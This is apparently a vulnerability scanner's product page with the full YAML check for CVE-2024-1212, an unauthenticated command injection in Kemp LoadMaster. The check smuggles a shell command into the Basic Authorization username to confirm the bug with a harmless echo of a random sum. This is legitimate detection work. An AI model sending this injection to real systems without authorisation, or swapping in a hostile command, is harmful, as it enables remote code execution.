LoadMaster — 1 vulnerability check
noctis ships 1 vulnerability check for LoadMaster, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Progress Kemp LoadMaster Unauthenticated OS Command Injection
| CVE | CVE-2024-1212 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/loadmaster/CVE-2024-1212.yaml |
Sends GET /access/set?param=enableapi&value=1 with a Basic Authorization username that breaks out of the shell command LoadMaster builds to validate credentials (';echo NOCTIS$((a+b));echo '), using two random operands per scan. A vulnerable LoadMaster runs the echo and returns NOCTIS<a+b> in the response; the sum is never sent in the request, so a page that only reflects input cannot produce it. Fixed releases do not run it.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /access/set?param=enableapi&value=1 - Parses / computes the next value with a Rhai script
- Checks
probe_resp.bodyforNOCTIS[0-9]{7}→ finding QoD 97: Kemp LoadMaster /access OS command injection (CVE-2024-1212): the shell printed … (…+…, a sum never sent in the request)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1212
- https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
- https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster
- https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-1212
Feed source — tests/vulnerabilities/loadmaster/CVE-2024-1212.yaml
uid: fa04e087-8256-438b-8841-706ce19d5f5b
name: "Progress Kemp LoadMaster Unauthenticated OS Command Injection"
description: "Sends GET /access/set?param=enableapi&value=1 with a Basic Authorization username that breaks out of the shell command LoadMaster builds to validate credentials (';echo NOCTIS$((a+b));echo '), using two random operands per scan. A vulnerable LoadMaster runs the echo and returns NOCTIS<a+b> in the response; the sum is never sent in the request, so a page that only reflects input cannot produce it. Fixed releases do not run it."
cves: [CVE-2024-1212]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [command-injection, rce, auth-bypass, kev, loadmaster, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-1212"
- "https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212"
- "https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster"
- "https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-1212"
steps:
# Two random operands per scan. The Basic credential is built here so the
# whole username (quote, echo, arithmetic) is base64-encoded per run, as the
# Rhino PoC does: user "';echo NOCTIS$((a+b));echo '", any password. The
# shell prints NOCTIS<a+b>; only the expression travels in the request.
- id: build
action: script
store_as: p
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
let cred = "';echo NOCTIS$((" + a + "+" + b + "));echo ':noctis";
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), auth: base64_encode(cred) }
- id: init-probe
action: set_var
var_name: probe_resp
var_value: {status: 0, body: ""}
- id: probe
action: http_request
method: GET
path: /access/set?param=enableapi&value=1
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
follow_redirects: false
headers:
Authorization: "Basic {{p.auth}}"
store_as: probe_resp
# The command output comes before the CGI's own output, so the status is not
# gated: only the computed sum counts.
- id: check
action: script
store_as: hit
code: |
type_of(probe_resp.body) == "string" && stridx(probe_resp.body, p.marker) >= 0
- id: confirm
action: match
source: probe_resp.body
pattern: "NOCTIS[0-9]{7}"
condition: "hit == true"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Kemp LoadMaster /access OS command injection (CVE-2024-1212): the shell printed {{p.marker}} ({{p.a}}+{{p.b}}, a sum never sent in the request)"